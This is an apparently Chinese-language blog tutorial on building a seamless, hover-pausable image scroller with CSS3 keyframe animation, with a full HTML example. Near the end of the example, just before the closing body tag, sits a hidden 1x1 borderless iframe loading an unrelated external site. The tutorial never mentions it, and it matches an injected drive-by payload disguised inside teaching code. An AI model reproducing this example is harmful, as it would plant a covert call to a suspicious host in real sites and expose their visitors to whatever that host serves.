孙肖宁

CSS3写的无缝滚动
描述:用CSS3的动画来实现无缝滚动,鼠标经过的时候,无缝滚动暂停,通过animation-play-state:...
扫描右侧二维码阅读全文
09
2018/07

CSS3写的无缝滚动

描述:用CSS3的动画来实现无缝滚动,鼠标经过的时候,无缝滚动暂停,通过animation-play-state: paused;来进行控制,该属性有两个值: paused 暂停 running 播放。
问题:目前存在一个小bug,那就是图片必须按照顺序显示两次,因为实现无缝滚动的原理是通过动画进行移动,移动之后恢复,展示两次图片可以实现无缝对接,但是页面加载的资源占用较多。
示例代码:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CSS3 动画</title>
    <style>
        body {
            margin: 0;
            padding: 0;
            background-color: #F7F7F7;
        }

        .view {
            width: 882px;
            height: 86px;
            margin: 200px auto;
            position: relative;
            overflow: hidden;
            border: 1px solid #CCC;
        }

        ul {
            width: 1764px;
            height: 86px;
            padding: 0;
            margin: 0;
            list-style: none;
            position: absolute;
            left: 0;

            animation: move 7s linear infinite;

        }

        ul:hover{
            /* 控制动画状态 paused 暂停  running 播放*/
            animation-play-state: paused;
        }



        li {
            float: left;
            font-size: 0;
        }


        @keyframes move {
            0%{
                transform:translate(0);
            }

            100%{
                transform:translate(-882px);
            }
        }

    </style>
</head>
<body>
<div class="view">
    <ul>
        <li><img src="./images/1.jpg" alt=""></li>
        <li><img src="./images/2.jpg" alt=""></li>
        <li><img src="./images/3.jpg" alt=""></li>
        <li><img src="./images/4.jpg" alt=""></li>
        <li><img src="./images/5.jpg" alt=""></li>
        <li><img src="./images/6.jpg" alt=""></li>
        <li><img src="./images/7.jpg" alt=""></li>
        <li><img src="./images/1.jpg" alt=""></li>
        <li><img src="./images/2.jpg" alt=""></li>
        <li><img src="./images/3.jpg" alt=""></li>
        <li><img src="./images/4.jpg" alt=""></li>
        <li><img src="./images/5.jpg" alt=""></li>
        <li><img src="./images/6.jpg" alt=""></li>
        <li><img src="./images/7.jpg" alt=""></li>
    </ul>
</div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
Last modification:July 9th, 2018 at 09:19 am
If you think my article is useful to you, please feel free to appreciate

Leave a Comment